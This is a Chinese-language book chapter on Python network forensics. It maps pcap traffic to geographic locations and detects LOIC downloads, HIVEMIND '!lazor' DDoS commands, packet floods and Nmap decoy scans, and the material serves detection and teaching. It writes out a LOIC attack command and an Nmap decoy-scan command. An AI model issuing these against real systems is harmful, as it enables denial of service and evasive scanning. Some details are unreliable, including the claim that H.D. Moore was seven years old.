**第四章：网络流量分析**

本章内容 ：

1. **网络协议流量定位地理位置**
2. **发现恶意的DDos工具**
3. **找到隐藏的网络扫描**
4. **分析Storm的Fast流量和Conficker蠕虫的Domain流量**
5. **理解TCP序列预测攻击**
6. **手工发包挫败入侵检测系统**

比起被限制在单独的维度中，武术更应该成为我们的生活方式，我们的理念，我们对孩子的教育，我们投入的工作，我们建立的关系网，我们每天所做的选择的延伸。   
                                                           —Daniele Bolelli 第四度卫冕黑带功夫秀   
  
**简介：极光行动以及如何明显的被避免**   
  
2010年1月14日，美国了解到一次针对Google,Adode和其他30多个全球100强公司的协调的，复杂的并且持久性的电脑攻击。这次 攻击被称为极光行动，在受感染的机器上发现了一个文件夹，这次攻击使用了一个新的exploit，以前没有被发现。尽管微软知道这个漏洞的存在，但它错误 的假定没有人知道这个漏洞，所以不存在这种攻击的检测机制。为了攻击他们的受害者，攻击者通过发送一封给受害者包含恶意的javascript脚本并连接 到恶意网站的邮件发起攻击。当用户点击该链接他们就会下载一个恶意软件并返回一个控制命令行到中国的服务器上。在哪里，攻击者利用他们新获得权限的电脑寻 找在受害者系统上存储的私人信息。   
  
攻击很明显的出现了但是几个月未被发现，并成功的渗透了100强公司的代码库。甚至是基本的网络检测软件也能确认这次行为，为什么一个美国100 强公司有几个用户连接到特定的台湾站点然后再次转到特定的中国服务器上？一个可视化的地图显示用户连接台湾和中国具有显著的频率可以允许网络管理员调查这 次攻击，并在信息丢失前停止它。   
  
在下面的章节中我们将研究利用Python分析不同的攻击，为了快速分析大量的不同的数据点。让我们开始通过建立一个脚本可视化分析流量来开始调查，那些受极光行动危害的100强管理员用过的方法。

**IP流量头去哪了？---一个Python的回答**

首先我们必须知道怎样将网络IP地址和物理位置相关联起来。为此，我们将依赖一个免费的数据库，MaxMind，MaxMind提供了一些精确的商业产品，他的开源GeoLiteCity数据库在http://www.maxmind.com/app/geolitecity可获得，为我们提供了足够的精确度从IP地址到物理地址。一旦数据库被下载，我们需要解压它并把它移动到其他位置，如/opt/Geoip/Gro.dat。

**analyst# wget http://geolite.maxmind.com/download/geoip/database/**

**GeoLiteCity.dat.gz**

**--2012-03-17 09:02:20-- http://geolite.maxmind.com/download/geoip/**

**database/GeoLiteCity.dat.gz**

**Resolving geolite.maxmind.com... 174.36.207.186**

**Connecting to geolite.maxmind.com|174.36.207.186|:80... connected.**

**HTTP request sent, awaiting response... 200 OK**

**Length: 9866567 (9.4M) [text/plain]**

**Saving to: 'GeoLiteCity.dat.gz'**

**100%[================================================**

**====================================================**

**==================================================>]**

**9,866,567 724K/s in 15s k**

**2012-03-17 09:02:36 (664 KB/s) – 'GeoLiteCity.dat.gz' saved**

**[9866567/9866567]**

**analyst#gunzip GeoLiteCity.dat.gz**

**analyst#mkdir /opt/GeoIP**

**analyst#mv GeoLiteCity.dat /opt/GeoIP/Geo.dat**

利用我们的GeoIP数据库，我们可以关联一个IP地址到国家，邮政代码，城市名和一般的经纬度坐标。所有的这一切将在IP力量分析中用到。

**使用PyGeoIP关联IP地址到物理地址**

Jennifer Ennis制作了一个纯Python模块用来查询GeoLiteCity数据库。她的模块能从http://code.google.com/p/pygeoip/下载，安装并导入到我们的Python脚本中。注意，我们将首先实例化一个GeoIP类，用本地的GeoIP的位置。接下来我们将为特殊的记录指定IP地址查询数据库。它将返回一个记录包含城市(city)，地区名(region\_name)，邮编(postal\_code)，国家(country\_name)，经纬度(latitude and longitude)以及其他的确认信息。

**import pygeoip**

**gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')**

**def printRecord(tgt):**

**rec = gi.record\_by\_addr(tgt)**

**city = rec['city']**

**region = rec['region\_name']**

**country = rec['country\_name']**

**long = rec['longitude']**

**lat = rec['latitude']**

**print('[\*] Target: ' + tgt + ' Geo-located. ')**

**print('[+] '+str(city)+', '+str(region)+', '+str(country))**

**print('[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long))**

**tgt = '173.255.226.98'**

**printRecord(tgt)**

运行我们的脚本，我们可以看到它产生输出显示目标IP的物理位置。现在我们可以将IP地址和物理位置关联在一起，让我们开始编写我们的分析脚本。

**analyst# python printGeo.py**

**[\*] Target: 173.255.226.98 Geo-located.**

**[+] Jersey City, NJ, United States**

**[+] Latitude: 40.7245, Longitude: −74.0621**

**使用Dpkt解析数据包**

在下面的章节中，我们将主要使用Scapy数据包操作工具来分析和制作数据包。Scapy提供了强大的功能，新手往往会发现在Windows或者Mac OS X系统上安装非常困难，相比之下，Dpkt则很简单，可以从http://code.google.com/p/dpkt/下载安装。两个都提供类似的功能，但是在工具集中它会比较有用。Dug Song最初创建Dpkt之后，Jon Oberheide增加了许多额外的功能用来解析不同的协议，如FTP，SCTP，BPG，IPv6，H.225。

例如，让我们假设一下我们捕获并记录了一个我们想要分析的网络数据包为pcap格式。Dpkt允许我们遍历每一个捕获的数据包并检查每一个协议层。在这个例子中，虽然我们只是简单的读取先前捕获的PCAP数据包，我们可以很容易的使用pypcap分析流量。可以从http://code.google.com/p/pypcap/下载。为了读取一个pcap文件，我们实例化文件，创建一个pcap.reader类对象，然后通过我们的对象函数printPcap()。这个对象pcap包含了一个数组，记录着时间戳和数据包，[timestamp, packet]。我们可以把每个数据包分为以太层和IP层。注意，这里要使用异常处理，因为我们可能捕获到第二层帧，不包含IP层，这有可能抛出一个异常。在这种情况下，我们使用异常处理捕获异常并继续下一个数据包。我们使用socket库解析IP地址。最后我们打印每个数据包的源地址和目标地址。

**import dpkt**

**import socket**

**def printPcap(pcap):**

**for (ts, buf) in pcap:**

**try:**

**eth = dpkt.ethernet.Ethernet(buf)**

**ip = eth.data**

**src = socket.inet\_ntoa(ip.src)**

**dst = socket.inet\_ntoa(ip.dst)**

**print('[+] Src: ' + src + ' --> Dst: ' + dst)**

**except:**

**pass**

**def main():**

**f = open('data.pcap')**

**pcap = dpkt.pcap.Reader(f)**

**printPcap(pcap)**

**if \_\_name\_\_ == '\_\_main\_\_':**

**main()**

运行该脚本，我们可以看到源地址和目标地址打印在屏幕上。这为我们提供了一定程度的分析，现在让我们使用我们先前的脚本关联IP地址和物理地址。

**analyst# python printDirection.py**

**[+] Src: 110.8.88.36 --> Dst: 188.39.7.79**

**[+] Src: 28.38.166.8 --> Dst: 21.133.59.224**

**[+] Src: 153.117.22.211 --> Dst: 138.88.201.132**

**[+] Src: 1.103.102.104 --> Dst: 5.246.3.148**

**[+] Src: 166.123.95.157 --> Dst: 219.173.149.77**

**[+] Src: 8.155.194.116 --> Dst: 215.60.119.128**

**[+] Src: 133.115.139.226 --> Dst: 137.153.2.196**

**[+] Src: 217.30.118.1 --> Dst: 63.77.163.212**

**[+] Src: 57.70.59.157 --> Dst: 89.233.181.180**

改善我们的脚本，让我们添加一个额外的函数retGeoStr()，通过IP地址返回物理地址。为此，我们将简单的分解城市和3位数的国家代码并将他们打印到屏幕上。如果函数抛出异常，我们将返回消息表示该地址未注册。这种异常是地址不在GeoIP数据库中或者是局域网IP地址，如192.168.1.3。

# coding=UTF-8  
**import** dpkt  
**import** socket  
**import** pygeoip  
**import** optparse  
  
gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')  
  
**def retGeoStr**(ip):  
 **try**:  
 rec = gi.record\_by\_name(ip)  
 city = rec['city']  
 country = rec['country\_code3']  
 **if** city != '':  
 geoLoc = city + ', ' + country  
 **else**:  
 geoLoc = country  
 **return** geoLoc  
 **except** Exception **as** e:  
 **return** 'Unregistered'  
  
**def printPcap**(pcap):  
 **for** (ts, buf) **in** pcap:  
 **try**:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 dst = socket.inet\_ntoa(ip.dst)  
 **print**('[+] Src: ' + src + ' --> Dst: ' + dst)  
 **print**('[+] Src: ' + retGeoStr(src) + ' --> Dst: ' + retGeoStr(dst))  
 **except**:  
 **pass  
  
def main**():  
 parser = optparse.OptionParser('usage%prog -p <pcap file>')  
 parser.add\_option('-p', dest='pcapFile', type='string', help='specify pcap filename')  
 (options, args) = parser.parse\_args()  
 **if** options.pcapFile == None:  
 **print**(parser.usage)  
 exit(0)  
 pcapFile = options.pcapFile  
 f = open(pcapFile)  
 pcap = dpkt.pcap.Reader(f)  
 printPcap(pcap)  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们的脚本，我们可以看到我们的数据包有前往韩国，伦敦，日本甚至是澳大利亚的。这为我们提供了强大的分析工具。然而，Google地球可能会提供更好的方法来显示相同的信息。

**analyst# python geoPrint.py -p geotest.pcap**

**[+] Src: 110.8.88.36 --> Dst: 188.39.7.79**

**[+] Src: KOR --> Dst: London, GBR**

**[+] Src: 28.38.166.8 --> Dst: 21.133.59.224**

**[+] Src: Columbus, USA --> Dst: Columbus, USA**

**[+] Src: 153.117.22.211 --> Dst: 138.88.201.132**

**[+] Src: Wichita, USA --> Dst: Hollywood, USA**

**[+] Src: 1.103.102.104 --> Dst: 5.246.3.148**

**[+] Src: KOR --> Dst: Unregistered**

**[+] Src: 166.123.95.157 --> Dst: 219.173.149.77**

**[+] Src: Washington, USA --> Dst: Kawabe, JPN**

**[+] Src: 8.155.194.116 --> Dst: 215.60.119.128**

**[+] Src: USA --> Dst: Columbus, USA**

**[+] Src: 133.115.139.226 --> Dst: 137.153.2.196**

**[+] Src: JPN --> Dst: Tokyo, JPN**

**[+] Src: 217.30.118.1 --> Dst: 63.77.163.212**

**[+] Src: Edinburgh, GBR --> Dst: USA**

**[+] Src: 57.70.59.157 --> Dst: 89.233.181.180**

**[+] Src: Endeavour Hills, AUS --> Dst: Prague, CZE**

**使用Python建立Google地图**

Google地球提供了一个虚拟地球仪，地图，地理信息，显示在专门的视图上。虽然是专门的，但Google地球却可以很容易的集成定制或者在全球追踪。创建一个扩展名为KML的文本文件，允许用户整合各种地方标识到Google地球中。KML文件包含了一个特定的XML结构，就像下面我们展示的那样。在这里，我们展示了如何在地图上使用名字和具体坐标绘制具体的位置标记。我们已经有了IP地址，地点的经纬度，这应该很容易集成到我们现有的脚本中生成KML文件。

**<?xml version="1.0" encoding="UTF-8"?>**

**<kml xmlns="http://www.opengis.net/kml/2.2">**

**<Document>**

**<Placemark>**

**<name>93.170.52.30</name>**

**<Point>**

**<coordinates>5.750000,52.500000</coordinates>**

**</Point>**

**</Placemark>**

**<Placemark>**

**<name>208.73.210.87</name>**

**<Point>**

**<coordinates>-122.393300,37.769700</coordinates>**

**</Point>**

**</Placemark>**

**</Document>**

**</kml>**

让我们快速建立一个函数retKML()，将IP作为输入返回一个特殊的KML结构。请注意，首先我们要解决的是使用pygeoip获得IP地址的经纬度。然后我们可以为这个地方建立我们的KML标记。如果我们遇到异常，例如“location not found,”，将返回空字符串。

**def retKML(ip):  
 rec = gi.record\_by\_name(ip)  
 try:  
 longitude = rec['longitude']  
 latitude = rec['latitude']  
 kml = ('<Placemark>\n'  
 '<name>%s</name>\n'  
 '<Point>\n'  
 '<coordinates>%6f,%6f</coordinates>\n'  
 '</Point>\n'  
 '</Placemark>\n'  
 ) % (ip,longitude, latitude)  
 return kml  
 except Exception, e:  
 return ''**

整合所有的功能到我们原始的脚本。我们现在添加特定的KML头和尾。对于每一个数据包，我们创建源地址和目标地址的KML标记，并在地图上绘制。这样就产生了一个美丽的网络流量可视化图。想想，所有扩展这些的方法都是有用的。你可能希望用不同的图片标记不同类型的流量，特定的源地址和目的地址TCP端口(比如说web80端口和25邮件端口)。可以参考Google的KML文档在网站：

https://developers.google.com/kml/documentation/并想想我们扩展我们可视化视图的目的。

# coding=UTF-8  
**import** dpkt  
**import** socket  
**import** pygeoip  
**import** optparse  
gi = pygeoip.GeoIP('/opt/GeoIP/GeoIP.dat')  
  
**def retKML**(ip):  
 rec = gi.record\_by\_name(ip)  
 **try**:  
 longitude = rec['longitude']  
 latitude = rec['latitude']  
 kml = ('<Placemark>\n'  
 '<name>%s</name>\n'  
 '<Point>\n'  
 '<coordinates>%6f,%6f</coordinates>\n'  
 '</Point>\n'  
 '</Placemark>\n'  
 ) % (ip,longitude, latitude)  
 **return** kml  
 **except** Exception, e:  
 **return** ''  
  
**def plotIPs**(pcap):  
 kmlPts = ''  
 **for** (ts, buf) **in** pcap:  
 **try**:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 srcKML = retKML(src)  
 dst = socket.inet\_ntoa(ip.dst)  
 dstKML = retKML(dst)  
 kmlPts = kmlPts + srcKML + dstKML  
 **except**:  
 **pass  
 return** kmlPts  
  
**def main**():  
 parser = optparse.OptionParser('usage%prog -p <pcap file>')  
 parser.add\_option('-p', dest='pcapFile', type='string', help='specify pcap filename')  
 (options, args) = parser.parse\_args()  
 **if** options.pcapFile == None:  
 **print** parser.usage  
 exit(0)  
 pcapFile = options.pcapFile  
 f = open(pcapFile)  
 pcap = dpkt.pcap.Reader(f)  
 kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\  
 \n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n'  
 kmlfooter = '</Document>\n</kml>\n'  
 kmldoc=kmlheader+plotIPs(pcap)+kmlfooter  
 **print**(kmldoc)  
  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们的脚本，我们将输出内容到KML文件中，用Google地球打开这个文件，我们可以看到我们数据包的源地址和目的地。在下一节中，我们将使用我们的分析技能侦查Anonymous组织在全球的威胁。

**匿名真的是匿名了么？分析LOIC流量**

2010年12月，荷兰警方逮捕了一名青少年参与分布式拒绝服务攻击一些反对维基解密的公司。不到一个月，FBI发处了40多份搜查令，警方逮捕了同样的五人。松散的黑客组织Anonymous下载并使用LOIC进行分布式拒绝服务攻击犯罪。

LOIC发送大量的TCP和UDP流量洪水攻击目标。一个单义的LOIC实例对目标消耗的资源很小，然而，当成千上万的人同时使用时他们有能力快速耗尽目标资源。

LOIC提供两种操作模式，第一中模式中，用户可以输入目标地址，第二种模式称为HIVEMIND，用户连接LOIC到一个目标的IRC服务将进行自动攻击。

**使用Dpkt找到谁在下载LOIC**

在进行操作时，Anonymous成员发布了一个问题文档，关于LOIC常见的问题的回答。常见为问题有：使用LOIC我们会被逮捕吗？可能性几乎为零。只要说是中了病毒或者干脆否认使用了他，在这一节中，让我们通过良好的分析数据包的知识并编写工具分析谁下载和使用了LOIC工具。

互联网上多个源提供LOIC的下载，一些更为可信。可以从sourceforge主机下载http://sourceforge.net/projects/loic/，让我们从这下载，下载前，打开tcpdump会话，过滤80端口，并打印结果，你可以看到一下结果。

**analyst# tcpdump –i eth0 –A 'port 80'**

**17:36:06.442645 IP attack.61752 > downloads.sourceforge.net.http:**

**Flags [P.], seq 1:828, ack 1, win 65535, options [nop,nop,TS val**

**488571053 ecr 3676471943], length 827E..o..@.@........".;.8.P.KC.T**

**.c................."**

**..GET /project/loic/loic/loic-1.0.7/LOIC 1.0.7.42binary.zip**

**?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Floic%2F&ts=1330821290**

**HTTP/1.1**

**Host: downloads.sourceforge.net**

**User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_7\_3)**

**AppleWebKit/534.53.11 (KHTML, like Gecko) Version/5.1.3**

**Safari/534.53.10**

第一部分我们是发现LOIC工具，我们将编写一个Python脚本来解析HTTP流量，审查HTTP的GET头是否有LOIC的ZIP二进制。为此，我们将使用Dpkt库。为了检查HTTP流量，我们必须提取以太网协议，IP协议和TCP协议。最后是在TCP协议之上的HTTP协议。如果HTTP层用GET方法，我们解析特定的URL的GET请求。如果URl包含.zip和LOIC在名称中，我们打印消息在屏幕上，显示下载LOIC的IP。折可以帮助聪明的管理员证明用户在下载LOIC而不是因为病毒感染。接合第三章的下载法庭取证分析，我们可以确认用户下载了LOIC工具。

**import dpkt  
import socket  
  
def findDownload(pcap):  
 for (ts, buf) in pcap:  
 try:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 tcp = ip.data  
 http = dpkt.http.Request(tcp.data)  
 if http.method == 'GET':  
 uri = http.uri.lower()  
 if '.zip' in uri and 'loic' in uri:  
 print('[!] ' + src + ' Downloaded LOIC.')  
 except:  
 pass  
  
f = open('LOIC.pcap')  
pcap = dpkt.pcap.Reader(f)  
findDownload(pcap)**

运行该脚本，我们可以看到已经有用户下载了LOIC工具。

**analyst# python findDownload.py**

**[!] 192.168.1.3 Downloaded LOIC.**

**[!] 192.168.1.5 Downloaded LOIC.**

**[!] 192.168.1.7 Downloaded LOIC.**

**[!] 192.168.1.9 Downloaded LOIC.**

**解析HIVE模式的IRC命令**

简单的下载LOIC工具不一定的覅违法的。然而，连接到Anonymous的HIVE并启动分布式拒绝服务攻击进行攻击确实违反了几个州的法律。因为Anonymous是一个松散的志同道合的人而不是由个人领导的黑客组织。任何人都可以建议对目标发起攻击。为了开始发动一次攻击，Anonymous成员登陆到一个特定的IRC服务器并发送攻击指令。例如!lazor targetip=66.211.169.66 message=test\_test port=80 method=tcp wait=false random=true start。任何用LOIC的HIVEMIND模式连接到IRC的成员都能立即开始攻击目标。在这种情况下，可以指定任何攻击目标。

在tcpdump中检查具体的攻击信息流量，我们可以看到特定的用户anonOps发送了一个开始攻击命令。接下来，IRC服务器发送发送命令到连接的LOIC客户端上开始攻击。想像一下在一个很长的包含几个小时或者几天的网络流量的pcap文件中找到几个特定的数据包。

**analyst# sudo tcpdump -i eth0 -A 'port 6667'**

**08:39:47.968991 IP anonOps.59092 > ircServer.ircd: Flags [P.], seq**

**3112239490:3112239600, ack 110628, win 65535, options [nop,nop,TS**

**val 437994780 ecr 246181], length 110**

**E...5<@.@..9..\_...\_............$....3......**

**..E.....TOPIC #LOIC:!lazor targetip=66.211.169.66 message=test\_test**

**port=80 method=tcp wait=false random=true start**

**08:39:47.970719 IP ircServer.ircd > loic-client.59092: Flags [P.],**

**seq 1:139, ack 110, win 453, options [nop,nop,TS val 260262 ecr**

**437994780], length 138**

**E....&@.@.r3..\_...\_........$.........k.....**

**......E.:kevin!kevin@anonOps TOPIC #loic:!lazor targetip=66.211.169.66**

**message=test\_test port=80 method=tcp wait=false random=true start**

在大多数情况下，IRC服务使用的是TCP 6667端口，消息到IRC服务器的目的地至是TCP的6667端口，从IRC返回的消息的源地址端口应该是TCP的6667端口。让我们利用这些知识来编写我们的HIVEMIND解析函数findHivemind()。这一次，我们提取以太网协议，IP协议和TCP协议。提取TCP协议后，我们在探究特定的源和目的端口。如果看到命令!lazor带有目的端口6667，我们就可以确认成员发送了攻击命令。如果我们看到!lazor带有源目的地端口6667，我们就可以确定服务器发送了成员攻击命令。

**import dpkt  
import socket  
  
def findHivemind(pcap):  
 for (ts, buf) in pcap:  
 try:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 dst = socket.inet\_ntoa(ip.dst)  
 tcp = ip.data  
 dport = tcp.dport  
 sport = tcp.sport  
 if dport == 6667:  
 if '!lazor' in tcp.data.lower():  
 print('[!] DDoS Hivemind issued by: '+src)  
 print('[+] Target CMD: ' + tcp.data)  
 if sport == 6667:  
 if '!lazor' in tcp.data.lower():  
 print('[!] DDoS Hivemind issued to: '+src)  
 print('[+] Target CMD: ' + tcp.data)  
 except:  
 pass**

**识别正在进行的DDos攻击**

有了定位下载LOIC工具和发现HIVE命令的功能，最后一项任务是：识别正在进行的DDos攻击。当一个用户开始了一个LOIC攻击，它将发送大量的TCP数据包给目标主机。这些数据包，接合从HIVE来的集体的数据包基本耗尽了目标主机的资源。我们开始一个tcpdump会话看着每0.00005秒发送一个小的数据包。这种行为不断的重复直到攻击结束。注意，目标无法相应，每次只就收5个数据包。

**analyst# tcpdump –i eth0 'port 80'**

**06:39:26.090870 IP loic-attacker.1182 >loic-target.www: Flags [P.], seq**

**336:348, ack 1, win**

**64240, length 12**

**06:39:26.090976 IP loic-attacker.1186 >loic-target.www: Flags [P.], seq**

**336:348, ack 1, win**

**64240, length 12**

**06:39:26.090981 IP loic-attacker.1185 >loic-target.www: Flags [P.], seq**

**301:313, ack 1, win**

**64240, length 12**

**06:39:26.091036 IP loic-target.www > loic-attacker.1185: Flags [.], ack**

**313, win 14600, lengt**

**h 0**

**06:39:26.091134 IP loic-attacker.1189 >loic-target.www: Flags [P.], seq**

**336:348, ack 1, win**

**64240, length 12**

**06:39:26.091140 IP loic-attacker.1181 >loic-target.www: Flags [P.], seq**

**336:348, ack 1, win**

**64240, length 12**

**06:39:26.091142 IP loic-attacker.1180 >loic-target.www: Flags [P.], seq**

**336:348, ack 1, win**

**64240, length 12**

**06:39:26.091225 IP loic-attacker.1184 >loic-target.www: Flags [P.], seq**

**336:348, ack 1, win**

**<.. REPEATS 1000x TIMES..>**

让我们快速编写一个发现正在进行DDos攻击的函数。为了发现一个攻击，我们将设置一个数据包阀值。如果一个用户到特定地址的的数据包数量超过该阀值，这表明我们将把它当做一个攻击做进一步调查。但是，这并不能确定用户发起了攻击。然而，当用户下载了LOIC工具，随后接受了HIVE指令，然后是实际的攻击，这足以提供证据用户参与了一次匿名的DDos攻击。

**import dpkt**

**import socket**

**THRESH = 10000**

**def findAttack(pcap):**

**pktCount = {}**

**for (ts, buf) in pcap:**

**try:**

**eth = dpkt.ethernet.Ethernet(buf)**

**ip = eth.data**

**src = socket.inet\_ntoa(ip.src)**

**dst = socket.inet\_ntoa(ip.dst)**

**tcp = ip.data**

**dport = tcp.dport**

**if dport == 80:**

**stream = src + ':' + dst**

**if pktCount.has\_key(stream):**

**pktCount[stream] = pktCount[stream] + 1**

**else:**

**pktCount[stream] = 1**

**except:**

**pass**

**for stream in pktCount:**

**pktsSent = pktCount[stream]**

**if pktsSent > THRESH:**

**src = stream.split(':')[0]**

**dst = stream.split(':')[1]**

**print('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + ' pkts.')**

将我们的代码放在一起并加一些选项解析，我们的脚本现在可以检测下载，监听HIVE指令并检测攻击。

# coding=UTF-8  
**import** dpkt  
**import** socket  
**import** optparse  
  
**def findDownload**(pcap):  
 **for** (ts, buf) **in** pcap:  
 **try**:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 tcp = ip.data  
 http = dpkt.http.Request(tcp.data)  
 **if** http.method == 'GET':  
 uri = http.uri.lower()  
 **if** '.zip' **in** uri **and** 'loic' **in** uri:  
 **print**('[!] ' + src + ' Downloaded LOIC.')  
 **except**:  
 **pass**THRESH = 10000  
**def findAttack**(pcap):  
 pktCount = {}  
 **for** (ts, buf) **in** pcap:  
 **try**:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 dst = socket.inet\_ntoa(ip.dst)  
 tcp = ip.data  
 dport = tcp.dport  
 **if** dport == 80:  
 stream = src + ':' + dst  
 **if** pktCount.has\_key(stream):  
 pktCount[stream] = pktCount[stream] + 1  
 **else**:  
 pktCount[stream] = 1  
 **except**:  
 **pass  
 for** stream **in** pktCount:  
 pktsSent = pktCount[stream]  
 **if** pktsSent > THRESH:  
 src = stream.split(':')[0]  
 dst = stream.split(':')[1]  
 **print**('[+] '+src+' attacked '+dst+' with ' + str(pktsSent) + ' pkts.')  
  
**def findHivemind**(pcap):  
 **for** (ts, buf) **in** pcap:  
 **try**:  
 eth = dpkt.ethernet.Ethernet(buf)  
 ip = eth.data  
 src = socket.inet\_ntoa(ip.src)  
 dst = socket.inet\_ntoa(ip.dst)  
 tcp = ip.data  
 dport = tcp.dport  
 sport = tcp.sport  
 **if** dport == 6667:  
 **if** '!lazor' **in** tcp.data.lower():  
 **print**('[!] DDoS Hivemind issued by: '+src)  
 **print**('[+] Target CMD: ' + tcp.data)  
 **if** sport == 6667:  
 **if** '!lazor' **in** tcp.data.lower():  
 **print**('[!] DDoS Hivemind issued to: '+src)  
 **print**('[+] Target CMD: ' + tcp.data)  
 **except**:  
 **pass  
  
def main**():  
 parser = optparse.OptionParser("usage%prog -p<pcap file> -t <thresh>")  
 parser.add\_option('-p', dest='pcapFile', type='string', help='specify pcap filename')  
 parser.add\_option('-t', dest='thresh', type='int', help='specify threshold count ')  
 (options, args) = parser.parse\_args()  
 **if** options.pcapFile == None:  
 **print**(parser.usage)  
 exit(0)  
 **if** options.thresh != None:  
 THRESH = options.thresh  
 pcapFile = options.pcapFile  
 f = open(pcapFile)  
 pcap = dpkt.pcap.Reader(f)  
 findDownload(pcap)  
 findHivemind(pcap)  
 findAttack(pcap)  
  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行代码，我们可以看到结果。四个用户下载了工具。接着，不同的用户发送攻击命令给另外两个连接着的攻击者，最后，这两个攻击者实际参与了攻击。因此现在的脚本识别整个DDos攻击行动。虽然入侵检测系统可以检测类似的活动，但编写一个自定义脚本做的更好。在下面的章节中，我们看看一个自定义脚本，一个七岁小孩编写的用来保护五角大楼的脚本。

**analyst# python findDDoS.py –p traffic.pcap**

**[!] 192.168.1.3 Downloaded LOIC.**

**[!] 192.168.1.5 Downloaded LOIC.**

**[!] 192.168.1.7 Downloaded LOIC.**

**[!] 192.168.1.9 Downloaded LOIC.**

**[!] DDoS Hivemind issued by: 192.168.1.2**

**[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141**

**message=test\_test port=80 method=tcp wait=false random=true start**

**[!] DDoS Hivemind issued to: 192.168.1.3**

**[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141**

**message=test\_test port=80 method=tcp wait=false random=true start**

**[!] DDoS Hivemind issued to: 192.168.1.5**

**[+] Target CMD: TOPIC #LOIC:!lazor targetip=192.168.95.141**

**message=test\_test port=80 method=tcp wait=false random=true start**

**[+] 192.168.1.3 attacked 192.168.95.141 with 1000337 pkts.**

**[+] 192.168.1.5 attacked 192.168.95.141 with 4133000 pkts.**

**H. D. Moore怎样解决五角大楼的困境**

1999年末，美国五角大楼的计算机网络面临着严重的危机。美国国防总部，五角大楼宣布正遭受着一系列的组织协调的复杂的攻击。最新发布的工具Nmap，使得任何人扫描网络的服务和漏洞变得更容易了。五角大楼担心一些攻击者使用Nmap识别五角大楼庞大的计算机网络的漏洞地图。

检测Nmap扫描很容易，关联攻击者的地址，然后找到物理地址。然而，攻击者在Nmap中使用高级选项，而不是从特定的攻击者地址发动扫描，其中包括似乎来自世界各地的扫描的诱饵。五角大楼专家很难分清时间扫描和诱饵扫描之间的关系。

当专家研究了大量的理论方法分许数据的记录，最后7岁的H.D.Moore，传奇框架Metasploit框架的创造者，给出了一个可行的解决方案。他建议使用所有进来的数据包的TTL字段。生存时间(TTL)字段用来确认一个IP数据包多跳可以到达目的地。数据包没通过一个路由器，路由器就减少一个TTL字段的值。Moore意识到这可能是确认扫描数据包来源的极好的方法。对于记录的每一个Nmap扫描的源地址，他发送了一个ICMP数据包确认和扫描机器之间的条数。然后用这个信息来区分是攻击者还是诱饵。显然，只有攻击者才有正确的TTL值，而诱饵没有正确的TTL值。他的方案可行！五角大楼要求Moore在1999的SANS会议上展示自己的工具和研究。Moore称他的工具为Nlog，因为它记录了Nmap的各种扫描信息。

在下面的章节中，我们将使用Python重建Moore的分析过程和创建他的工具Nlog。你会希望了解一个7岁少年十多年前的想法：简单，优雅的解决检测攻击的方案。

**理解TTL字段**

在编写脚本之前，我们来接是一下IP数据包的TTL字段。TTL字段包含8个bit，有效值0到255。当计算机发送一个IP数据包时，它设置TTL字段为可以到达目的地的最大跳，每个路由设备改变数据包的TTL字段值。如果TTL字段为零，路由器抛弃这个数据包防止无限循环路由。比如说，如果我ping地址8.8.8.8，初始化TTL为64它将返回TTL的值为53我们可以看到数据包穿过了11个路由设备。

**target# ping –m 64 8.8.8.8**

**PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.**

**64 bytes from 8.8.8.8: icmp\_seq=1 ttl=53 time=48.0 ms**

**64 bytes from 8.8.8.8: icmp\_seq=2 ttl=53 time=49.7 ms**

**64 bytes from 8.8.8.8: icmp\_seq=3 ttl=53 time=59.4 ms**

引进诱饵扫描的是1.6版本，诱饵数据包的TTL不是随机的也不是正确的。未能正确计算TTL允许Moore确认这些数据包。显然，Nmap的代码从1999年得到显著的增长和发展，在最近的版本中，Nmap使用下面的算法随机的设置TTL。该算法随机的产生一个TTL，用户也能自己指定TTL的值。

**/\* Time to live \*/**

**if (ttl == -1) {**

**myttl = (get\_random\_uint()% 23) + 37;**

**} else {**

**myttl = ttl;**

**}**

为了运行一个Nmap诱饵扫描，我们在IP地址后面加上参数-D，在这种情况下，我们将使用地址8.8.8.8作为诱饵地址，此外，我们自己指定TTL的值为13，因此，下面我们用TTL为13的诱饵地址为8.8.8.8扫描192.168.1.7。

**attacker$ nmap 192.168.1.7 -D 8.8.8.8 -ttl 13**

**Starting Nmap 5.51 (http://nmap.org) at 2012-03-04 14:54 MST**

**Nmap scan report for 192.168.1.7**

**Host is up (0.015s latency).**

**<..SNIPPED..>**

在目标192.168.1.7上，我们在详细模式下打开tcpdump(-v)，禁用名称解析(-nn)，过滤特定的地址8.8.8.8(‘host 8.8.8.8’)，我们看到Nmap成功的用TTL为13，诱饵地址为8.8.8.8发送了数据包。

**target# tcpdump –i eth0 –v –nn 'host 8.8.8.8'**

**8.8.8.8.42936 > 192.168.1.7.6: Flags [S], cksum 0xcae7 (correct), seq**

**690560664, win 3072, options [mss 1460], length 0**

**14:56:41.289989 IP (tos 0x0, ttl 13, id 1625, offset 0, flags [none],**

**proto TCP (6), length 44)**

**8.8.8.8.42936 > 192.168.1.7.1009: Flags [S], cksum 0xc6fc (correct),**

**seq 690560664, win 3072, options [mss 1460], length 0**

